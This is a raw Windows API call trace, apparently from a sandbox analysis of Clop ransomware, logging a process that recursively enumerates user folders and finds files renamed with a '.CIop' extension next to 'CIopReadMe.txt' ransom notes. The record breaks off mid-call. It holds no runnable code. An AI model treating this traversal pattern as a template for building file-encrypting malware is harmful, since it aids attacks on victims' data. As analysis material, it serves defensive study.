lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0148.722] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0148.722] SetErrorMode (uMode=0x1) returned 0x1 [0148.722] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0148.722] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0148.722] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0148.722] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0148.722] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67deb8 [0148.722] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0148.722] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0148.722] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.722] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.722] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.722] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.722] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.722] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.722] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2="..") returned 1 [0148.722] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2=".") returned 1 [0148.722] lstrlenW (lpString=".CIop") returned 5 [0148.722] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.722] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2="..") returned 1 [0148.722] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2=".") returned 1 [0148.722] lstrlenW (lpString=".CIop") returned 5 [0148.722] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.722] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2="..") returned 1 [0148.722] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2=".") returned 1 [0148.722] lstrlenW (lpString=".CIop") returned 5 [0148.722] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0148.722] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0148.722] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0148.723] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0148.723] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0148.723] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dfb8 [0148.723] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0148.723] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0148.723] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.723] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.723] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.723] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.723] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.723] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.723] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0148.723] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0148.723] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0148.723] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.723] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.723] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.723] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 1 [0148.723] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 0 [0148.723] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.723] lstrcmpW (lpString1="sNkHGs", lpString2="..") returned 1 [0148.723] lstrcmpW (lpString1="sNkHGs", lpString2=".") returned 1 [0148.723] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0148.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0148.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0148.724] SetErrorMode (uMode=0x1) returned 0x1 [0148.724] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0148.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0148.724] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0148.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0148.724] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0148.724] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0148.724] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.724] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2="..") returned 1 [0148.724] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2=".") returned 1 [0148.724] lstrlenW (lpString=".CIop") returned 5 [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.724] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2="..") returned 1 [0148.724] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2=".") returned 1 [0148.724] lstrlenW (lpString=".CIop") returned 5 [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.724] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2="..") returned 1 [0148.724] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2=".") returned 1 [0148.724] lstrlenW (lpString=".CIop") returned 5 [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.724] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.724] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.724] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.724] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2="..") returned 1 [0148.724] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2=".") returned 1 [0148.724] lstrlenW (lpString=".CIop") returned 5 [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.724] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2="..") returned 1 [0148.724] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2=".") returned 1 [0148.724] lstrlenW (lpString=".CIop") returned 5 [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.724] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2="..") returned 1 [0148.724] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2=".") returned 1 [0148.724] lstrlenW (lpString=".CIop") returned 5 [0148.724] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.724] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.725] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.725] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0148.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0148.725] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0148.725] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0148.725] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.725] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.725] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.725] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0148.725] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0148.725] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.725] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0148.725] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0148.725] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.726] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0148.726] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0148.726] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.726] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.726] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.726] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.726] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.726] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.726] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0148.726] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0148.726] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0148.726] SetErrorMode (uMode=0x1) returned 0x1 [0148.726] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0148.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0148.726] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0148.726] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0148.726] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.726] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0148.726] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0148.726] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.726] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.726] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0148.726] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0148.726] lstrlenW (lpString=".exe") returned 4 [0148.727] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.727] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.727] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.727] lstrlenW (lpString="desktop.ini") returned 11 [0148.727] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.727] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2="..") returned 1 [0148.727] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2=".") returned 1 [0148.727] lstrlenW (lpString=".exe") returned 4 [0148.727] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.727] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.727] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.727] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0148.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0148.727] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.727] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0148.727] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0148.727] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.727] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.727] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.727] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.727] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.727] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.727] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0148.727] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0148.727] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.727] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0148.727] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0148.727] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.727] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0148.728] SetErrorMode (uMode=0x1) returned 0x1 [0148.728] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0148.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0148.728] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: 